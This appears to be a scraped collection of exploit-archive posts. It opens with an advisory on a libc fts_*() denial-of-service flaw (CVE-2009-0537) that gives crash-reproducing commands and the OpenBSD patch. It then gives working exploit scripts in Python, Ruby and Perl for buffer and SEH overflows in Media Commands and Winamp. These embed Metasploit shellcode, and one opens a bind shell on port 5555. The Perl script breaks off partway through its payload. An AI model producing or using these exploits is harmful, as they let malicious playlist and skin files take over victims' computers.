Multiple Vendors libc:fts_*() Local Denial of Service Exploit

[libc:fts_*():multiple vendors, Denial-of-service ]

Author: Maksymilian Arciemowicz
SecurityReason.com
Date:
- - Dis.: 21.10.2008
- - Pub.: 04.03.2009

CVE: CVE-2009-0537

We are going informing all vendors, about this problem.

Affected Software (official):
- - OpenBSD 4.4
/usr/src/lib/libc/gen/fts.c
- - Microsoft Interix
6.0 10.0.6030.0 x86
- - Microsft Vista Enterprise
SearchIndexer.exe

probably more...

Original URL:
http://securityreason.com/achievement_securityalert/60

- --- 0.Description ---

The fts functions are provided for traversing UNIX file hierarchies.
The fts_open() function returns a "handle" on a file hierarchy, which is then supplied to the other fts functions.
The function fts_read() returns a pointer to a structure describing one of the files in the file hierarchy.
The function fts_children() returns a pointer to a linked list of structures, each of which describes one of the files contained in a directory within the hierarchy.

typedef struct _ftsent {
unsigned short fts_info; /* flags for FTSENT structure */
char *fts_accpath; /* access path */
char *fts_path; /* root path */
size_t fts_pathlen; /* strlen(fts_path) */
char *fts_name; /* file name */
size_t fts_namelen; /* strlen(fts_name) */
short fts_level; /* depth (-1 to N) */
int fts_errno; /* file errno */
long fts_number; /* local numeric value */
void *fts_pointer; /* local address value */
struct _ftsent *fts_parent; /* parent directory */
struct _ftsent *fts_link; /* next file structure */
struct _ftsent *fts_cycle; /* cycle structure */
struct stat *fts_statp; /* stat(2) information */
} FTSENT;

- --- 1. libc:fts_*():multiple vendors, Denial-of-service ---
The main problem exist in fts_level from ftsent structure. Type of fts_level is short.

let's see /usr/src/lib/libc/gen/fts.c (OpenBSD)

- ---line-616-625---
/*
* Figure out the max file name length that can be stored in the
* current path -- the inner loop allocates more path as necessary.
* We really wouldn't have to do the maxlen calculations here, we
* could do them in fts_read before returning the path, but it's a
* lot easier here since the length is part of the dirent structure.
*
* If not changing directories set a pointer so that can just append
* each new name into the path.
*/
- ---line-616-625---

"We really wouldn't have to do the maxlen calculations here..."

Here should be some level or pathlen monitor. Should.

short fts_level; /* depth (-1 to N) */

fts_level is short type, no aleph zero

- ---line-247-249---
#define NAPPEND(p) \
(p->fts_path[p->fts_pathlen - 1] == '/' \
? p->fts_pathlen - 1 : p->fts_pathlen)
- ---line-247-249---

this function will crash, when we will requests to wrong allocated memory.

So, what is wrong:

127# pwd
/home/cxib
127# du /home/
4 /home/cxib/.ssh
Segmentation fault (core dumped)
127# rm -rf Samotnosc
Segmentation fault (core dumped)
127# chmod -R 000 Samotnosc
Segmentation fault (core dumped)


127# gdb -q du
(no debugging symbols found)
(gdb) r /home/
Starting program: /usr/bin/du /home/
4 /home/cxib/.ssh

Program received signal SIGSEGV, Segmentation fault.
0x0b3e65c1 in fts_read (sp=0x8a1b11c0) at /usr/src/lib/libc/gen/fts.c:385
385 name: t = sp->fts_path + NAPPEND(p->fts_parent);
(gdb) print p->fts_level
$1 = -19001
(gdb) print p->fts_path
$2 = 0x837c9000

and we have answer.


127# cd /home/cxib
127# mkdir len
127# cd len
127# mkdir 24
127# mkdir 23
127# mkdir 22
127# cd 22
127# perl -e '$a="C"x22;for(1..50000){ ! -d $a and mkdir $a and chdir $a }'
127# du .
Segmentation fault (core dumped)
127# cd ../23/
127# perl -e '$a="C"x23;for(1..50000){ ! -d $a and mkdir $a and chdir $a }'
127# du .
Segmentation fault (core dumped)
127# cd ../24/
127# perl -e '$a="C"x24;for(1..50000){ ! -d $a and mkdir $a and chdir $a }'
127# du .
/* Will print correctly output */

In all cases, the function should return an error flag "ENAMETOOLONG".

The security consequences can be derived from the crash of the program. All combinations like " while ( fts_read ( ) ) " and " ftw ( ) " function, constitute a potential risk.

Examples of vulnerable programs:
du
rm
chmod -R
chgrp -R

In the case of Microsoft Interix, the situation is very similar.

% uname -a
Interix cxib-PC 6.0 10.0.6030.0 x86 Intel_x86_Family6_Model123_Stepping6
% du pa
Segmentation fault

Vista Enterprise does not allow for the creation of the name too long. At the same time, has great problems with the operation of such nodes.
Using Interix subsystem, you can create a deep tree to the NTFS partition.

example:
fts_level -10000

Then, we can no longer do anything with incorrect directory from the Windows API.
If you try change permissions, copy the directory, you will receive a lot of bugs (stack overflow etc.).

SearchIndexer.exe will crash many times

- ---
Faulting application SearchIndexer.exe, version 7.0.6001.16503, time
stamp 0x483b99af, faulting module msvcrt.dll, version 7.0.6001.18000,
time stamp 0x4791a727, exception code 0x40000015, fault offset
0x00053adb, process id 0x364, application start time 0x01c99276bd383759.
- ---

In some cases, is possible to permanently lock the service.

Interesting behavior we can see an example

C:\Users\cxib\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\Not_existed_node\

(try put this path into explorer)

where

C:\Users\cxib\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\O\

of course exists

We do not see the potential risk, but the algorithm should be changed.

We publish this note, because the vulnerability was only tested for OpenBSD. Many other systems, reacts strangely to the potential testing.

- --- 2. Fix ---
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/fts.c

Fix by Otto Moerbeek:

Index: fts.c
===================================================================
RCS file: /cvs/src/lib/libc/gen/fts.c,v
retrieving revision 1.41
diff -u -p -r1.41 fts.c
- --- fts.c 27 Dec 2008 12:30:13 -0000 1.41
+++ fts.c 10 Feb 2009 09:00:24 -0000
@@ -633,6 +633,14 @@ fts_build(FTS *sp, int type)
len++;
maxlen = sp->fts_pathlen - len;

+ if (cur->fts_level == SHRT_MAX) {
+ (void)closedir(dirp);
+ cur->fts_info = FTS_ERR;
+ SET(FTS_STOP);
+ errno = ENAMETOOLONG;
+ return (NULL);
+ }
+
level = cur->fts_level + 1;

/* Read the directory, attaching each entry to the `link' pointer. */


- --- 3. Greets ---
Very thanks for Otto Moerbeek and all OpenBSD devs.

sp3x Infospec schain Chujwamwdupe p_e_a pi3

- --- 4. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
Email: cxib [a.t] securityreason [d00t] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl

# milw0rm

Media Commands (m3u File) Universal SEH Overwrite Exploit

#usage: exploit.py
print "**************************************************************************"
print " Media Commands (m3u File) Universal Seh Overwrite Exploit\n"
print " Founder: Hakxer"
print " Exploited by : His0k4"
print " Another Exploiter : Stack"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"

buff = "\x41" * 4103

next_seh = "\xEB\x06\x90\x90"

seh = "\x9F\x20\x01\x10" #Universal pop pop ret :p

nop = "\x90" * 19

# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x45\x34\x4e\x53\x4b\x48\x4e\x47"
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x38\x46\x33\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x58"
"\x4f\x55\x46\x32\x41\x30\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x48"
"\x41\x30\x4b\x4e\x49\x38\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x34\x4e\x30\x4b\x38\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x38\x4a\x46\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x45\x4a\x56\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x56\x4a\x59"
"\x50\x4f\x4c\x48\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x36"
"\x4e\x36\x43\x36\x42\x50\x5a"
)

exploit = buff + next_seh + seh + nop + shellcode

try:
out_file = open("exploit.m3u",'w')
out_file.write(exploit)
out_file.close()
print "Exploit File Created!"
except:
print "Error"

# milw0rm

Media Commands .m3l File Local Buffer Overflow Exploit

#!/usr/bin/env ruby
# Media Commands .m3l Local Buffer Overflow Exploit
# By Mountassif Moad
# Down : http://www.mediacommands.com/download/&product=MCV100A.exe
# C:\nc>nc -v 127.0.0.1 5555
# DNS fwd/rev mismatch: localhost != stack-f286641
# localhost [127.0.0.1] 5555 (?) open
# Microsoft Windows XP [version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
# C:\Program Files\Media Commands\Animation>
# exit Booooooooooom
time3 = Time.new
puts "Exploit Started in Current Time :" + time3.inspect
puts "Enter Name For your File Like : Stack"
moad = gets.chomp.capitalize
puts "Name Of File : " + moad +'.m3l'
time1 = Time.new
$VERBOSE=nil
Header =
"\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74"+
"\x5D\x0D\x4E\x75\x6D\x62\x65\x72"+
"\x4F\x66\x45\x6E\x74\x72\x69\x65"+
"\x73\x3D\x31\x0D\x46\x69\x6C\x65\x31\x3D"
# win32_bind - EXITFUNC=seh LPORT=5555 Size=709 Encoder=PexAlphaNum http://metasploit.com
Shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e"+
"\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x58"+
"\x4e\x46\x46\x42\x46\x52\x4b\x58\x45\x44\x4e\x53\x4b\x48\x4e\x47"+
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x34\x4a\x41\x4b\x48"+
"\x4f\x55\x42\x32\x41\x50\x4b\x4e\x49\x54\x4b\x38\x46\x33\x4b\x48"+
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x33\x46\x35\x46\x32\x4a\x52\x45\x57\x45\x4e\x4b\x48"+
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54"+
"\x4b\x38\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x30\x4e\x32\x4b\x58"+
"\x49\x48\x4e\x46\x46\x32\x4e\x41\x41\x56\x43\x4c\x41\x43\x4b\x4d"+
"\x46\x46\x4b\x58\x43\x34\x42\x43\x4b\x48\x42\x34\x4e\x50\x4b\x58"+
"\x42\x37\x4e\x41\x4d\x4a\x4b\x58\x42\x34\x4a\x50\x50\x35\x4a\x36"+
"\x50\x38\x50\x34\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x46"+
"\x43\x35\x48\x56\x4a\x46\x43\x53\x44\x53\x4a\x46\x47\x47\x43\x37"+
"\x44\x53\x4f\x35\x46\x45\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e"+
"\x4e\x4f\x4b\x33\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e"+
"\x48\x36\x41\x48\x4d\x4e\x4a\x50\x44\x30\x45\x55\x4c\x46\x44\x30"+
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x45"+
"\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x35\x43\x45\x43\x55\x43\x34"+
"\x43\x55\x43\x44\x43\x35\x4f\x4f\x42\x4d\x48\x36\x4a\x46\x45\x41"+
"\x43\x4b\x48\x36\x43\x45\x49\x48\x41\x4e\x45\x39\x4a\x56\x46\x4a"+
"\x4c\x31\x42\x57\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x56\x42\x41"+
"\x41\x45\x45\x45\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x52"+
"\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x35\x45\x55\x4f\x4f\x42\x4d"+
"\x4a\x46\x45\x4e\x49\x44\x48\x48\x49\x44\x47\x45\x4f\x4f\x48\x4d"+
"\x42\x55\x46\x55\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x56"+
"\x47\x4e\x49\x57\x48\x4c\x49\x47\x47\x55\x4f\x4f\x48\x4d\x45\x35"+
"\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x46\x48\x36\x4a\x46\x43\x46"+
"\x4d\x46\x49\x48\x45\x4e\x4c\x56\x42\x55\x49\x55\x49\x32\x4e\x4c"+
"\x49\x48\x47\x4e\x4c\x36\x46\x34\x49\x48\x44\x4e\x41\x43\x42\x4c"+
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x42\x50\x4f\x44\x44\x4e\x32"+
"\x43\x39\x4d\x58\x4c\x47\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"+
"\x44\x57\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x37\x46\x44\x4f\x4f"+
"\x48\x4d\x4b\x55\x47\x55\x44\x45\x41\x45\x41\x45\x41\x45\x4c\x56"+
"\x41\x30\x41\x45\x41\x55\x45\x35\x41\x55\x4f\x4f\x42\x4d\x4a\x56"+
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"+
"\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x58\x47\x45\x4e\x4f"+
"\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d"+
"\x4a\x56\x42\x4f\x4c\x38\x46\x30\x4f\x55\x43\x55\x4f\x4f\x48\x4d"+
"\x4f\x4f\x42\x4d\x5a"
Bof = "\x41" * 4097
Nseh = "\xEB\x06\x90\x90"
seh = "\x35\x2F\xC6\x72"
Nop = "\x90" * 15
crash = Header + Bof + Nseh + seh + Nop + Shellcode
File.open( moad+".m3l", "w" ) do |the_file|
the_file.puts(crash)
puts "Exploit finished in Current Time :" + time1.inspect
puts "Now Open " + moad +".m3l :d"
end

# milw0rm

Winamp <= 5.541 Skin Universal Buffer Overflow Exploit

#!/usr/bin/perl
#
# WinAmp <= 5.541 Skin Universal Buffer Overflow Exploit
#
# Discovered and Exploited by SkD (skdrat@hotmail.com)
# -----------------------------------------------------
# WinAmp = http://www.winamp.com
#
# Who doesn't use WinAmp?
#
# This was an 0day for sometime but with the release of
# the new version 5.55, it fixed the buffer overflow vuln.
# I made it universal and very reliable.
# The vulnerability is a mixture of a standard buffer overflow
# with a SEH overflow, so to make it more stable,
# both of the scenarios will be exploited accordingly when one
# is triggered with my exploit :).
# The exploit can also run any shellcode (alpha) so this makes
# it ever so useful.
#
# Instructions:-
# -Run script.
# -Copy the created exploit directory "SkD's Skin" to
# "C:\Program Files\WinAmp\Skins" OR just install it.
# -Choose the skin from WinAmp :)
#
# Enjoy it ladies and gents :)
#
# Shouts out to: -KkD
# -InTeL
# -Jayji
# -str0ke
#
# Note: Author has no responsibility over the damage done with this!

use strict;
use warnings;

my $skin_xml = "\xEF\xBB\xBF\x3C\x3F\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D".
"\x22\x55\x54\x46\x2D\x38\x22\x20\x73\x74\x61\x6E\x64\x61\x6C\x6F\x6E\x65\x3D\x22\x79\x65\x73\x22\x3F\x3E\x0D\x0A\x0D\x0A\x3C\x57".
"\x69\x6E\x61\x6D\x70\x41\x62\x73\x74\x72\x61\x63\x74\x69\x6F\x6E\x4C\x61\x79\x65\x72\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31".
"\x2E\x33\x34\x22\x3E\x0D\x0A\x09\x3C\x73\x6B\x69\x6E\x69\x6E\x66\x6F\x3E\x0D\x0A\x09\x09\x3C\x76\x65\x72\x73\x69\x6F\x6E\x3E\x31".
"\x2E\x32\x3C\x2F\x76\x65\x72\x73\x69\x6F\x6E\x3E\x0D\x0A\x09\x09\x3C\x6E\x61\x6D\x65\x3E\x42\x65\x6E\x74\x6F\x3C\x2F\x6E\x61\x6D".
"\x65\x3E\x0D\x0A\x09\x09\x3C\x61\x75\x74\x68\x6F\x72\x3E\x53\x6B\x44\x3C\x2F\x61\x75\x74\x68\x6F\x72\x3E\x0D\x0A\x09\x09\x3C\x63".
"\x6F\x6D\x6D\x65\x6E\x74\x3E\x53\x6B\x44\x3C\x2F\x63\x6F\x6D\x6D\x65\x6E\x74\x3E\x0D\x0A\x09\x09\x3C\x65\x6D\x61\x69\x6C\x3E\x73".
"\x6B\x64\x72\x61\x74\x40\x68\x6F\x74\x6D\x61\x69\x6C\x2E\x63\x6F\x6D\x3C\x2F\x65\x6D\x61\x69\x6C\x3E\x0D\x0A\x09\x09\x3C\x73\x63".
"\x72\x65\x65\x6E\x73\x68\x6F\x74\x3E\x53\x6B\x44\x73\x68\x6F\x74\x2E\x70\x6E\x67\x3C\x2F\x73\x63\x72\x65\x65\x6E\x73\x68\x6F\x74".
"\x3E\x0D\x0A\x09\x09\x3C\x68\x6F\x6D\x65\x70\x61\x67\x65\x3E\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x53\x6B\x44\x2E\x63\x6F".
"\x6D\x2F\x3C\x2F\x68\x6F\x6D\x65\x70\x61\x67\x65\x3E\x0D\x0A\x09\x3C\x2F\x73\x6B\x69\x6E\x69\x6E\x66\x6F\x3E\x0D\x0A\x0D\x0A\x09".
"\x3C\x61\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x73\x20\x73\x65\x63\x74\x69\x6F\x6E\x3D\x22\x67\x65\x6E\x65\x72\x61\x6C\x22\x3E".
"\x0D\x0A\x09\x09\x3C\x61\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x20\x62\x69\x6E\x64\x3D\x22\x41\x6C\x74\x2B\x46\x22\x20\x61\x63".
"\x74\x69\x6F\x6E\x3D\x22\x4D\x45\x4E\x55\x48\x4F\x54\x4B\x45\x59\x5F\x46\x49\x4C\x45\x22\x20\x2F\x3E\x0D\x0A\x09\x09\x3C\x61\x63".
"\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x20\x62\x69\x6E\x64\x3D\x22\x41\x6C\x74\x2B\x50\x22\x20\x61\x63\x74\x69\x6F\x6E\x3D\x22\x4D".
"\x45\x4E\x55\x48\x4F\x54\x4B\x45\x59\x5F\x50\x4C\x41\x59\x22\x20\x2F\x3E\x0D\x0A\x09\x09\x3C\x61\x63\x63\x65\x6C\x65\x72\x61\x74".
"\x6F\x72\x20\x62\x69\x6E\x64\x3D\x22\x41\x6C\x74\x2B\x4F\x22\x20\x61\x63\x74\x69\x6F\x6E\x3D\x22\x4D\x45\x4E\x55\x48\x4F\x54\x4B".
"\x45\x59\x5F\x4F\x50\x54\x49\x4F\x4E\x53\x22\x20\x2F\x3E\x0D\x0A\x09\x09\x3C\x61\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x20\x62".
"\x69\x6E\x64\x3D\x22\x41\x6C\x74\x2B\x49\x22\x20\x61\x63\x74\x69\x6F\x6E\x3D\x22\x4D\x45\x4E\x55\x48\x4F\x54\x4B\x45\x59\x5F\x56".
"\x49\x45\x57\x22\x20\x2F\x3E\x0D\x0A\x09\x09\x3C\x61\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x20\x62\x69\x6E\x64\x3D\x22\x41\x6C".
"\x74\x2B\x48\x22\x20\x61\x63\x74\x69\x6F\x6E\x3D\x22\x4D\x45\x4E\x55\x48\x4F\x54\x4B\x45\x59\x5F\x48\x45\x4C\x50\x22\x20\x2F\x3E".
"\x0D\x0A\x09\x3C\x2F\x61\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x73\x3E\x0D\x0A\x0D\x0A\x09\x3C\x61\x63\x63\x65\x6C\x65\x72\x61".
"\x74\x6F\x72\x73\x20\x73\x65\x63\x74\x69\x6F\x6E\x3D\x22\x6E\x6F\x72\x6D\x61\x6C\x22\x3E\x0D\x0A\x09\x09\x09\x3C\x61\x63\x63\x65".
"\x6C\x65\x72\x61\x74\x6F\x72\x20\x62\x69\x6E\x64\x3D\x22\x73\x70\x61\x63\x65\x22\x20\x61\x63\x74\x69\x6F\x6E\x3D\x22\x53\x48\x4F".
"\x57\x5F\x43\x55\x52\x52\x45\x4E\x54\x5F\x54\x52\x41\x43\x4B\x22\x20\x2F\x3E\x0D\x0A\x09\x3C\x2F\x61\x63\x63\x65\x6C\x65\x72\x61".
"\x74\x6F\x72\x73\x3E\x0D\x0A\x0D\x0A\x09\x3C\x21\x2D\x2D\x20\x54\x68\x69\x73\x20\x53\x6B\x69\x6E\x20\x75\x73\x65\x73\x20\x73\x68".
"\x61\x72\x65\x64\x20\x47\x72\x61\x70\x68\x69\x63\x73\x2C\x20\x58\x4D\x4C\x20\x61\x6E\x64\x20\x4D\x61\x6B\x69\x20\x66\x72\x6F\x6D".
"\x20\x27\x42\x69\x67\x20\x42\x65\x6E\x74\x6F\x27\x20\x2D\x2D\x3E\x0D\x0A\x0D\x0A\x09\x3C\x73\x63\x72\x69\x70\x74\x73\x3E\x0D\x0A".
"\x09\x09\x3C\x73\x63\x72\x69\x70\x74\x20\x66\x69\x6C\x65\x3D\x22\x73\x2E\x6D\x61\x6B\x69\x22\x20\x70\x61\x72\x61\x6D\x3D\x22\x73".
"\x6D\x61\x6C\x6C\x22\x2F\x3E\x20\x3C\x21\x2D\x2D\x20\x4D\x75\x73\x74\x20\x62\x65\x20\x6C\x6F\x61\x64\x65\x64\x20\x61\x74\x20\x66".
"\x69\x72\x73\x74\x20\x2D\x2D\x3E\x0D\x0A\x09\x3C\x2F\x73\x63\x72\x69\x70\x74\x73\x3E\x0D\x0A\x0D\x0A\x09\x3C\x69\x6E\x63\x6C\x75".
"\x64\x65\x20\x66\x69\x6C\x65\x3D\x22\x73\x2E\x6D\x61\x6B\x69\x22\x2F\x3E\x0D\x0A\x0D\x0A\x09\x3C\x73\x63\x72\x69\x70\x74\x73\x3E".
"\x0D\x0A\x09\x09\x3C\x73\x63\x72\x69\x70\x74\x20\x66\x69\x6C\x65\x3D\x22\x73\x2E\x6D\x61\x6B\x69\x22\x20\x70\x61\x72\x61\x6D\x3D".
"\x22\x31\x33\x30\x2C\x31\x38\x22\x2F\x3E\x0D\x0A\x09\x3C\x2F\x73\x63\x72\x69\x70\x74\x73\x3E\x0D\x0A\x0D\x0A\x3C\x2F\x57\x69\x6E".
"\x61\x6D\x70\x41\x62\x73\x74\x72\x61\x63\x74\x69\x6F\x6E\x4C\x61\x79\x65\x72\x3E";

my $maki_script1 = "\x46\x47\x03\x04\x17\x00\x00\x00\x27\x00\x00\x00\x71\x49\x65\x51\x87\x0D\x51\x4A\x91\xE3\xA6\xB5\x32\x35\xF3\xE7\x64\x0F\xF5\xD6".
"\xFA\x93\xB7\x49\x93\xF1\xBA\x66\xEF\xAE\x3E\x98\x7B\xC4\x0D\xE9\x0D\x84\xE7\x4A\xB0\x2C\x04\x0B\xD2\x75\xF7\xFC\xB5\x3A\x02\xB2".
"\x4D\x43\xA1\x4B\xBE\xAE\x59\x63\x75\x03\xF3\xC6\x78\x57\xC6\x87\x43\xE7\xFE\x49\x85\xF9\x09\xCC\x53\x2A\xFD\x56\x65\x36\x60\x38".
"\x1B\x46\xA7\x42\xAA\x75\xD8\x3F\x66\x67\xBF\x73\xF4\x7A\x78\xF4\xBB\xB2\xF7\x4E\x9C\xFB\xE7\x4B\xA9\xBE\xA8\x8D\x02\x0C\x37\x3A".
"\xBF\x3C\x9F\x43\x84\xF1\x86\x88\x5B\xCF\x1E\x36\xB6\x5B\x0C\x5D\xE1\x7D\x1F\x4B\xA7\x0F\x8D\x16\x59\x94\x19\x41\x99\xE1\xE3\x4E".
"\x36\xC6\xEC\x4B\x97\xCD\x78\xBC\x9C\x86\x28\xB0\xE5\x95\xBE\x45\x72\x20\x91\x41\x93\x5C\xBB\x5F\xF9\xF1\x17\xFD\x4E\x6D\x90\x60".
"\x7E\x53\x2E\x48\xB0\x04\xCC\x94\x61\x88\x56\x72\xC0\xBC\x3A\x40\x22\x6F\xD6\x4B\x8B\xA4\x10\xC8\x29\x93\x25\x47\x4D\x3E\xAA\x97".
"\xD0\xF4\xA8\x4F\x81\x7B\x0A\xF2\x2A\x45\x49\x83\xFA\xBB\xE4\x64\xF4\x81\xD9\x49\xB0\xC0\xA8\x5B\x2E\xC3\xBC\xFD\x3F\x5E\xB6\x62".
"\x5E\x37\x8D\x40\x8D\xEA\x76\x81\x4A\xB9\x1B\x77\xBE\x97\x4F\xCE\xB0\x77\x19\x4E\x99\x56\xD4\x98\x33\xC9\x6C\x27\x0D\x20\xC2\xA8".
"\xEB\x51\x2A\x4B\xBA\x7F\x5D\x4B\xC6\x5D\x4C\x71\x38\xBA\x1E\x8D\x9E\x48\x3E\x48\xB9\x60\x8D\x1F\x43\xC5\xC4\x05\x40\xC9\x08\x0F".
"\x39\xAF\x23\x4B\x80\xF3\xB8\xC4\x8F\x7E\xBB\x59\x72\x86\xAA\xEF\x0E\x31\xFA\x41\xB7\xDC\x85\xA9\x52\x5B\xCB\x4B\x44\x32\xFD\x7D".
"\x51\x37\x7C\x4E\xBF\x40\x82\xAE\x5F\x3A\xDC\x33\x15\xFA\xB9\x5A\x7D\x9A\x57\x45\xAB\xC8\x65\x57\xA6\xC6\x7C\xA9\xCD\xDD\x8E\x69".
"\x1E\x8F\xEC\x4F\x9B\x12\xF9\x44\xF9\x09\xFF\x45\x27\xCD\x64\x6B\x26\x5A\x4B\x4C\x8C\x59\xE6\xA7\x0C\xF6\x49\x3A\xE4\x05\xCB\x6D".
"\xC4\x8A\xC2\x48\xB1\x93\x49\xF0\x91\x0E\xF5\x4A\xFF\xCF\xDC\xB4\xFE\x81\xCC\x4B\x96\x1B\x72\x0F\xD5\xBE\x0F\xFF\xE1\x8C\xE2\x01".
"\x59\xB0\xD5\x11\x97\x9F\xE4\xDE\x6F\x51\x76\x0A\xBD\xF8\xF0\x80\xA5\x1B\xA6\x42\xA0\x93\x32\x36\xA0\x0C\x8D\x4A\x1B\x34\x2E\x9B".
"\x98\x6C\xFA\x40\x8B\x85\x0C\x1B\x6E\xE8\x94\x05\x71\x9B\xD5\x36\xFD\x03\xF8\x4A\x97\x95\x05\x02\xB7\xDB\x26\x7A\x10\xF2\xD5\x7F".
"\xC4\xAC\xDF\x48\xA6\xA0\x54\x51\x57\x6C\xDC\x76\x35\xA5\xBA\xB5\xB3\x05\xCB\x4D\xAD\xC1\xE6\x18\xD2\x8F\x68\x96\xC1\xFE\x29\x61".
"\xB7\xDA\x51\x4D\x91\x65\x01\xCA\x0C\x1B\x70\xDB\xF7\x14\x95\xD5\x36\xED\xE8\x45\x98\x0F\x3F\x4E\xA0\x52\x2C\xD9\x82\x4B\x3B\x9B".
"\x7A\x66\x0E\x42\x8F\xFC\x79\x41\x15\x80\x9C\x02\x99\x31\xED\xC7\x19\x53\x98\x47\x98\x63\x60\xB1\x5A\x29\x8C\xAA\x4D\xC1\xBB\xE2".
"\xF6\x84\x73\x41\xBD\xB3\xB2\xEB\x2F\x66\x55\x50\x94\x05\xC0\x73\x1F\x96\x1B\x40\x9B\x1B\x67\x24\x27\xAC\x41\x65\x12\x00\x00\x00".
"\x01\x01\x00\x00\x11\x00\x67\x65\x74\x52\x75\x6E\x74\x69\x6D\x65\x56\x65\x72\x73\x69\x6F\x6E";

